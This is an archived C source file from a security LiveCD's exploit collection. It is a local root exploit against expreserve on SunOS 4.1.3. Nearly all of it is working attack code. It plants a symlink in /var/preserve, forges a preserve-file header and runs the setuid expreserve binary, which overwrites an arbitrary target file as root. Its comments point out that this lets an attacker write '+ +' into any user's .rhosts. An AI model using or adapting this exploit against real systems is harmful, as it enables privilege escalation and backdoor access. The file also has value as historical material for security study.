home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / expreserve.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  66 lines

  1. *
  2. *  Exploit a security hole in expreserve on sun4.1.3
  3. *    <program> filename
  4. *       overwrites filename as root with garbage, chown's to you
  5. *       (note, a 4.1.1 test overwrote with no chown
  6. *        the first 4 characters written are "+ +\n"
  7. *        which can be used to overwrite anyones .rhosts as root)
  8. *
  9. *                Tim N.
  10. */
  11.  
  12. #include <pwd.h>
  13. #include <fcntl.h>
  14.  
  15. #define HBLKS 2
  16. #define FNSIZE 128
  17. #define BLKS   900
  18.  
  19. typedef struct {
  20. time_t time;
  21. int uid;
  22. int flines;
  23. char name[FNSIZE];
  24. short Blocks[BLKS];
  25. short encrypted;
  26. } header;
  27.  
  28.  
  29. main(argc,argv)
  30. int argc;
  31. char **argv;
  32. {
  33. int p,u;
  34. header H;
  35. struct passwd *pw;
  36. char buf[100],*dest;
  37.  
  38. if(argc!=2) {
  39. printf("usage: %s destination\n",argv[0]);
  40. exit(1);
  41. }
  42. dest = argv[1];
  43. p = getpid();
  44. pw = getpwuid(getuid());
  45. sprintf(buf,"/var/preserve/%s/Exaaa%.5d",pw->pw_name,p);
  46. symlink(dest,buf);
  47. close(0);
  48. if(open("./Ex",O_RDWR|O_CREAT,0666)<0)  {
  49. printf("Cant open Ex (temp file)\n");
  50. exit(2);
  51. }
  52. /* fill out header so that expre thinks its legit */
  53. H.time = 12345;    /* who cares */
  54. strcpy(&H.time,"+ +\n");    /* its a long, we got some free bytes in there*/
  55. strcpy(H.name,"NoName");
  56. H.flines = 0;
  57. H.uid = getuid();
  58. H.Blocks[0] = HBLKS;
  59. H.Blocks[1] = HBLKS+1;
  60. write(0,&H,sizeof(H));
  61. lseek(0,0,0);
  62. printf("Made temp file 'Ex'.  You can remove it when done.\n");
  63. execl("/usr/lib/expreserve","expreserve",0);
  64. printf("Couldnt exec!\n");
  65. }
  66. /*                    www.hack.co.za              [2000]*/